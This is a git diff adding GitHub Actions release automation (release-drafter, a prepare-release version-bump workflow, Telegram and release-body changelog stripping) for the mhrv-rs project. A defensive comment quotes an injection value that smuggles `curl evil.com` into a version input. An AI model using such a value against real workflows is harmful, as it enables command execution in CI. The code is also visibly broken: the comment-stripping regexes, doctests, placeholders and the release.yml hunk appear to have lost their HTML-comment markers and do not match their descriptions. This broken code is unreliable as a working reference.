diff --git a/.github/release-drafter.yml b/.github/release-drafter.yml new file mode 100644 index 0000000..02b5753 --- /dev/null +++ b/.github/release-drafter.yml @@ -0,0 +1,79 @@ +# release-drafter config — accumulates merged-PR titles into a draft GitHub +# Release as PRs land on main, so the English half of docs/changelog/v.md +# is prefilled by the time we cut the next release. +# +# How it fits with the existing release flow: +# - PRs merge → release-drafter updates the draft release tagged `next` +# - When ready to ship, run `prepare-release.yml` which reads the draft +# body and writes it into `docs/changelog/v.md` as a stub +# - You translate the bullets into Persian above the `---` separator, +# merge the prep PR, push the `v` tag, and release.yml takes over +# +# The draft is tagged `next` (not `vX.Y.Z`) so it never collides with the +# real release-tag namespace. softprops/action-gh-release in release.yml +# will create a fresh release for the actual `vX.Y.Z` tag — the `next` +# draft just gets reset by release-drafter on the following PR merge. + +name-template: 'Next release (draft)' +tag-template: 'next' + +# Flat bullet template — one line per merged PR, matching the existing +# docs/changelog/v.md style: +# +# • ([#NN](url)): . Thanks @user +# +# We bake the `: . Thanks @AUTHOR` suffix directly into the +# template so the maintainer's job is just (a) strip the leading +# `feat:`/`fix:` Conventional-Commit prefix that PR titles in this repo +# carry (prepare-release.yml does this automatically with a sed pass), +# (b) fix the verb tense if needed (`added` → `Add`), and (c) replace +# `` with the explanatory clause. +# +# Why the placeholder is part of the template and not added later: +# putting it here means the no-changes-template fallback (below) does +# *not* get a `` suffix — only real PR-derived bullets do. +change-template: '• $TITLE ([#$NUMBER]($URL)): . Thanks @$AUTHOR' +change-title-escapes: '\<*_&' + +# Fallback if no PRs have merged since the last draft reset. Rare in +# practice; here as a safety net so the draft body is never empty. +# Deliberately doesn't follow the ``-bullet shape so it's +# obviously a placeholder line, not a real release entry. +no-changes-template: '_(no PR-tracked changes since the last release)_' + +# Skip PRs labelled `release-prep` from the changelog — those are the +# automated version-bump PRs opened by prepare-release.yml; including +# them would echo "release: prepare v1.6.6" into the next release notes. +exclude-labels: + - 'release-prep' + - 'skip-changelog' + +# Auto-apply labels based on Conventional Commit title prefixes. The repo +# already enforces feat:/fix:/etc. on PR titles, so this is "free" — no +# contributor action needed. Labels feed the exclude-labels above and +# also unlock PR filtering on the GitHub issues page if we want it later. +autolabeler: + - label: 'release-prep' + title: + - '/^release:/i' + - label: 'type: feature' + title: + - '/^feat(\(.+\))?:/i' + - label: 'type: fix' + title: + - '/^fix(\(.+\))?:/i' + - label: 'type: chore' + title: + - '/^chore(\(.+\))?:/i' + - label: 'type: docs' + title: + - '/^docs?(\(.+\))?:/i' + - label: 'type: refactor' + title: + - '/^refactor(\(.+\))?:/i' + +# Body of the draft release: just the flat bullet list. No "What's +# Changed" header, no contributors block — keep it copy-paste-ready +# into docs/changelog/v.md. +template: | + $CHANGES diff --git a/.github/scripts/telegram_release_notify.py b/.github/scripts/telegram_release_notify.py index da04d8b..df1641b 100755 --- a/.github/scripts/telegram_release_notify.py +++ b/.github/scripts/telegram_release_notify.py @@ -46,16 +46,42 @@ import uuid from pathlib import Path +def _strip_leading_comments(body: str) -> str: + """Strip leading HTML comment blocks (single- or multi-line) from `body`. + + The changelog template uses `` to document the format for + editors; we don't want those echoed to Telegram or the GitHub Release + page. The `(?:...)+` quantifier eats N consecutive comments separated + only by whitespace, so a stub with both a format-docs comment and a + TODO comment is cleaned in one pass. `re.S` makes `.` cross newlines + for multi-line `` blocks. + + The matching regex is also used inline by .github/workflows/release.yml + to compose the GitHub Release body — keep them in sync if you change + one. Run `python -m doctest telegram_release_notify.py -v` to check. + + >>> _strip_leading_comments("\\nbody") + 'body' + >>> _strip_leading_comments("\\n\\nbody") + 'body' + >>> _strip_leading_comments("\\nbody") + 'body' + >>> _strip_leading_comments("\\n\\n\\n\\nbody") + 'body' + >>> _strip_leading_comments("body without comments") + 'body without comments' + >>> _strip_leading_comments("body\\n\\nmore") + 'body\\n\\nmore' + """ + return re.sub(r"^\s*(?:\s*)+", "", body, count=1, flags=re.S) + + def parse_changelog(path: str) -> tuple[str, str]: """Return (persian_body, english_body). Blank strings if file missing.""" p = Path(path) if not p.is_file(): return "", "" - body = p.read_text(encoding="utf-8") - # Strip a leading HTML comment block if present — the changelog - # template uses to document the format for editors; - # we don't want that echoed to Telegram. - body = re.sub(r"^\s*\s*", "", body, count=1, flags=re.S) + body = _strip_leading_comments(p.read_text(encoding="utf-8")) fa, sep, en = body.partition("\n---\n") if not sep: # No separator — treat everything as Persian (content-language diff --git a/.github/workflows/prepare-release.yml b/.github/workflows/prepare-release.yml new file mode 100644 index 0000000..2eb8372 --- /dev/null +++ b/.github/workflows/prepare-release.yml @@ -0,0 +1,296 @@ +# Prepare a new release: bump version strings, prefill the changelog +# stub from release-drafter's draft, and open a PR. After the PR is +# merged, you push the `v` tag manually and `release.yml` +# takes over (matrix build → GitHub release → Telegram notify). +# +# Triggered manually from the Actions UI or via: +# gh workflow run prepare-release.yml -f version=1.6.6 +# +# What it bumps in the PR: +# - Cargo.toml version = "X.Y.Z" +# - Cargo.lock mhrv-rs entry's version +# - android/app/build.gradle.kts versionName = "X.Y.Z" +# versionCode = previous + 1 +# +# What it leaves alone: +# - tunnel-node/Cargo.toml — versioned independently from the app. +# The docker tunnel image is tagged from the git release tag (not +# from this Cargo.toml), so we don't need to touch it. +# +# What it prefills in docs/changelog/v.md: +# - Persian section: an inline `[FA] translate ...` placeholder line. +# Visible if not edited — ships into the release page as an obvious +# marker rather than a quiet comment leak. +# - Separator: `---` +# - English section: bullets pulled from release-drafter's `next` +# draft release, each suffixed with `: ` to remind you to +# add an explanatory clause in the project's existing +# `• headline (#NN): full explanation` style. If no draft exists +# yet (e.g. immediately after installing release-drafter, before +# any PRs have merged), the English section is empty and you fill +# it in by hand. + +name: prepare-release + +on: + workflow_dispatch: + inputs: + version: + description: 'New version to release (without the leading v). Example: 1.6.6' + required: true + type: string + +permissions: + contents: write + pull-requests: write + +jobs: + bump: + runs-on: ubuntu-latest + steps: + # Always check out main, regardless of which branch the dispatch + # was fired from. workflow_dispatch can be triggered from any ref; + # without an explicit `ref:` the version bumps would land on top + # of whatever branch the dispatcher had checked out, and the + # resulting PR would carry that branch's diffs alongside the bumps. + - uses: actions/checkout@v4 + with: + ref: main + fetch-depth: 0 # need tag history for the duplicate-tag check below + + - name: Validate version + id: ver + env: + # Pass the dispatch input through an env var rather than + # `${{ inputs.version }}` interpolation. GitHub interpolates + # the expression *before* the shell parses the script, so a + # value like `1.0.0"; curl evil.com; echo "` would execute + # before the regex check below ever ran. workflow_dispatch + # is gated to write-access users so practical risk is low, + # but this is the pattern GitHub's own docs recommend for + # defense in depth. + INPUT_VERSION: ${{ inputs.version }} + run: | + set -euo pipefail + VER="$INPUT_VERSION" + VER="${VER#v}" + if ! [[ "$VER" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "::error::version '$VER' is not in X.Y.Z format" + exit 1 + fi + if git rev-parse "v${VER}" >/dev/null 2>&1; then + echo "::error::tag v${VER} already exists; pick a different version" + exit 1 + fi + BRANCH="release/v${VER}" + if git ls-remote --exit-code --heads origin "$BRANCH" >/dev/null 2>&1; then + echo "::error::branch $BRANCH already exists on origin; delete it or pick a different version" + exit 1 + fi + echo "version=${VER}" >> "$GITHUB_OUTPUT" + echo "branch=${BRANCH}" >> "$GITHUB_OUTPUT" + + - name: Bump Cargo.toml + Cargo.lock + env: + NEW_VER: ${{ steps.ver.outputs.version }} + run: | + set -euo pipefail + # Edit both files via Python so we anchor on the `name = "mhrv-rs"` + # line and only touch the package's own version, not unrelated + # `version = "..."` lines elsewhere in the lockfile. + python3 <<'PY' + import os, re, pathlib, sys + ver = os.environ["NEW_VER"] + for path in ("Cargo.toml", "Cargo.lock"): + p = pathlib.Path(path) + src = p.read_text() + new = re.sub( + r'(name = "mhrv-rs"\nversion = ")[0-9.]+(")', + rf'\g<1>{ver}\g<2>', + src, + count=1, + ) + if new == src: + sys.exit(f"ERROR: mhrv-rs version line not found in {path}") + p.write_text(new) + print(f"{path} -> {ver}") + PY + + - name: Bump android versionName + versionCode + env: + NEW_VER: ${{ steps.ver.outputs.version }} + run: | + set -euo pipefail + # versionCode increments by 1 on every release; versionName mirrors + # the Cargo version. Both live in android/app/build.gradle.kts. + python3 <<'PY' + import os, re, pathlib, sys + ver = os.environ["NEW_VER"] + p = pathlib.Path("android/app/build.gradle.kts") + src = p.read_text() + m = re.search(r'versionCode\s*=\s*(\d+)', src) + if not m: + sys.exit("ERROR: versionCode not found in build.gradle.kts") + old_code = int(m.group(1)) + new_code = old_code + 1 + src = src[:m.start(1)] + str(new_code) + src[m.end(1):] + src, n = re.subn( + r'versionName\s*=\s*"[^"]+"', + f'versionName = "{ver}"', + src, + count=1, + ) + if n == 0: + sys.exit("ERROR: versionName not found in build.gradle.kts") + p.write_text(src) + print(f"android/app/build.gradle.kts -> versionName={ver}, versionCode={old_code}->{new_code}") + PY + + - name: Fetch release-drafter draft body + id: draft + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + set -euo pipefail + # release-drafter accumulates merged-PR titles into a draft tagged + # `next`. Pull its body for the changelog stub. `--repo` is set + # explicitly so we always look up the release in this repo even + # if a future maintainer ever creates a real `next` git tag in a + # fork or upstream. If no draft exists yet (release-drafter just + # installed, no PRs merged since), the `|| true` keeps us going + # with an empty body — you fill the English section by hand. + # `--jq 'select(.isDraft) | .body'` returns nothing if `next` is + # not a draft (i.e. someone manually published a release with + # tag `next`, or pushed a real `next` git tag with a release + # attached). On that path we treat it as "no draft" and fall + # through to the empty-body branch — better than echoing a + # surprise release body into the changelog stub. + BODY=$(gh release view next --repo "${{ github.repository }}" \ + --json body,isDraft --jq 'select(.isDraft) | .body' 2>/dev/null || true) + if [ -z "$BODY" ]; then + echo "::notice::no release-drafter 'next' draft found; English section will be empty" + else + echo "::notice::pulled $(printf '%s' "$BODY" | wc -l) lines from draft release" + fi + # Multiline outputs need a heredoc-style delimiter — pick one that + # cannot appear in a release-drafter bullet line. + { + echo 'body<<__DRAFT_BODY_EOF__' + printf '%s\n' "$BODY" + echo '__DRAFT_BODY_EOF__' + } >> "$GITHUB_OUTPUT" + + - name: Write changelog stub + env: + NEW_VER: ${{ steps.ver.outputs.version }} + DRAFT_BODY: ${{ steps.draft.outputs.body }} + run: | + set -euo pipefail + # Build the file with shell `echo`/`printf` (not a YAML-level + # heredoc with $-double-curly interpolation) so backticks, dollar + # signs, or EOF tokens in the draft body can't break us. + # + # Why no TODO/instructional : + # release.yml strips leading blocks from the + # file before publishing the GitHub Release body, and the + # Telegram script does the same — both via a regex that handles + # multiple consecutive comments. But relying on stripping is + # brittle: a maintainer adding a new comment with a different + # shape (multi-line, indented, etc.) could leak it. Instead we + # use VISIBLE placeholders below. If the maintainer forgets to + # edit them, they ship as obvious `[FA]`/`` markers + # that an admin will spot in the release page within seconds. + mkdir -p docs/changelog + OUT="docs/changelog/v${NEW_VER}.md" + { + echo '' + echo '[FA] translate the English bullets below into Persian and replace this line.' + echo '' + echo '---' + # Append the English section if release-drafter had any. + # Skip the printf entirely on empty so we don't leave a + # trailing blank line under `---`. + if [ -n "$DRAFT_BODY" ]; then + # Strip Conventional-Commit prefixes (`feat:`, `fix(android):`, + # etc.) from the start of each bullet headline. PR titles in + # this repo all carry these prefixes by convention, but the + # existing changelog style is verb-first ("Add X" / "Fix Y"), + # not type-first. Stripping here saves the maintainer one + # manual step per bullet; they still need to fix the verb + # tense (e.g. "added" → "Add") since GitHub PR titles tend + # to be past-tense and the changelog convention is imperative. + # + # Bullet shape from release-drafter is: + # • feat(scope): title text ([#NN](url)): . Thanks @user + # After this sed: + # • title text ([#NN](url)): . Thanks @user + printf '%s\n' "$DRAFT_BODY" \ + | sed -E 's/^(• )(feat|fix|chore|docs?|refactor|perf|test|build|ci|style|revert)(\([^)]*\))?!?: */\1/i' + fi + } > "$OUT" + echo "wrote $OUT ($(wc -l < "$OUT") lines)" + + # No `Ensure release-prep label exists` step here — release-drafter's + # workflow runs on every push to main, and its `Ensure autolabeler + # labels exist` step creates `release-prep` (along with the type:* + # labels). Since these workflow files only land via a push to main, + # release-drafter's bootstrap necessarily runs before the first + # prepare-release dispatch. If for some reason release-drafter is + # disabled, `gh pr create --label release-prep` below will fail with + # an actionable "label not found" — fix is to re-enable + # release-drafter or run `gh label create release-prep` once by hand. + + - name: Commit, push, and open PR + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + NEW_VER: ${{ steps.ver.outputs.version }} + BRANCH: ${{ steps.ver.outputs.branch }} + run: | + set -euo pipefail + git config user.name "github-actions[bot]" + git config user.email "41898282+github-actions[bot]@users.noreply.github.com" + git checkout -b "$BRANCH" + git add Cargo.toml Cargo.lock android/app/build.gradle.kts \ + "docs/changelog/v${NEW_VER}.md" + git commit -m "release: prepare v${NEW_VER}" + git push -u origin "$BRANCH" + + # Write the PR body to a file rather than fight nested heredoc + # escaping in the YAML run: block. + # + # IMPORTANT: this heredoc terminator (`MSG`) is INTENTIONALLY + # unquoted so that ${NEW_VER} and ${BRANCH} expand. Backticks + # in the body are escaped (\`) for the same reason. If you + # paste anything into the template below, watch out for `$(...)` + # and unescaped backticks — they will execute at workflow run + # time. To add a static block that should NOT interpolate, build + # it with a separate `<<'STATIC'` heredoc and concat afterward. + cat > /tmp/pr-body.md <\` with a short explanatory clause matching the project's \`• headline (#NN): full explanation\` style. The Conventional-Commit prefix (\`feat:\`/\`fix:\`/etc.) and the trailing \`. Thanks @author\` are already handled. + 3. Commit + push to this branch so the PR includes the final bilingual changelog. + + Any \`[FA]\` or \`\` markers left in the file will ship verbatim into the GitHub Release page and the Telegram post — they're intentionally visible, not hidden in HTML comments. + + **After merging — ship it:** + 1. \`git checkout main && git pull\` + 2. \`git tag v${NEW_VER} && git push origin v${NEW_VER}\` + 3. \`release.yml\` picks up the tag, builds artifacts, creates the GitHub release, and (if enabled) posts to Telegram. + MSG + + gh pr create \ + --base main \ + --head "$BRANCH" \ + --title "release: prepare v${NEW_VER}" \ + --label "release-prep" \ + --body-file /tmp/pr-body.md diff --git a/.github/workflows/release-drafter.yml b/.github/workflows/release-drafter.yml new file mode 100644 index 0000000..60e8644 --- /dev/null +++ b/.github/workflows/release-drafter.yml @@ -0,0 +1,65 @@ +# Updates the draft GitHub release on every push to main, and applies +# Conventional-Commit-derived labels to incoming PRs. Config lives in +# `.github/release-drafter.yml`. The drafter writes one line per merged +# PR into a draft release tagged `next`; `prepare-release.yml` reads +# that body when bumping versions so the English half of +# `docs/changelog/v.md` is prefilled. +# +# Cost: one ubuntu-latest job per relevant PR/push event, single API +# call, no compile, no tests. Zero contention with the self-hosted +# Hetzner runners that release.yml uses. + +name: release-drafter + +on: + push: + branches: [main] + # `pull_request_target` runs in the context of the base branch (main), + # which is what the autolabeler needs to write labels back to PRs — + # including PRs from forks, which the regular `pull_request` event + # doesn't grant write permissions for. We never check out PR code + # in this workflow (only call the action), so the elevated context + # is safe. + pull_request_target: + types: [opened, reopened, synchronize, edited] + +permissions: + contents: read + +jobs: + update-draft: + permissions: + contents: write # write the draft release object + pull-requests: write # apply autolabeler labels to incoming PRs + runs-on: ubuntu-latest + steps: + # Ensure the labels referenced by .github/release-drafter.yml's + # autolabeler block all exist. release-drafter logs a warning and + # skips when it tries to apply a label that's missing — labelling + # itself doesn't fail, but exclude-labels and downstream filtering + # become silent no-ops. `gh label create … || true` is idempotent: + # creates on first run, exits with "already exists" on every run + # after that. Cheap (5 API calls per workflow run, no compile). + - name: Ensure autolabeler labels exist + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + set -euo pipefail + # Format: name|color|description (color without leading #). + while IFS='|' read -r name color desc; do + gh label create "$name" --color "$color" --description "$desc" \ + --repo "${{ github.repository }}" 2>/dev/null || true + done <<'LABELS' + release-prep|ededed|Automated version-bump PR; excluded from release-drafter changelog + type: feature|a2eeef|feat: PR — auto-applied by release-drafter + type: fix|d73a4a|fix: PR — auto-applied by release-drafter + type: chore|cfd3d7|chore: PR — auto-applied by release-drafter + type: docs|0075ca|docs: PR — auto-applied by release-drafter + type: refactor|fbca04|refactor: PR — auto-applied by release-drafter + LABELS + + - uses: release-drafter/release-drafter@v6 + with: + config-name: release-drafter.yml + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 55caa25..8946f12 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -608,8 +608,22 @@ jobs: fi { echo 'body<<__RELEASE_BODY_EOF__' - # Strip leading HTML comment that documents the file format. - sed -e '1{/^\s*)+", "", body, count=1, flags=re.S), end="") + PY echo echo '__RELEASE_BODY_EOF__' } >> "$GITHUB_OUTPUT"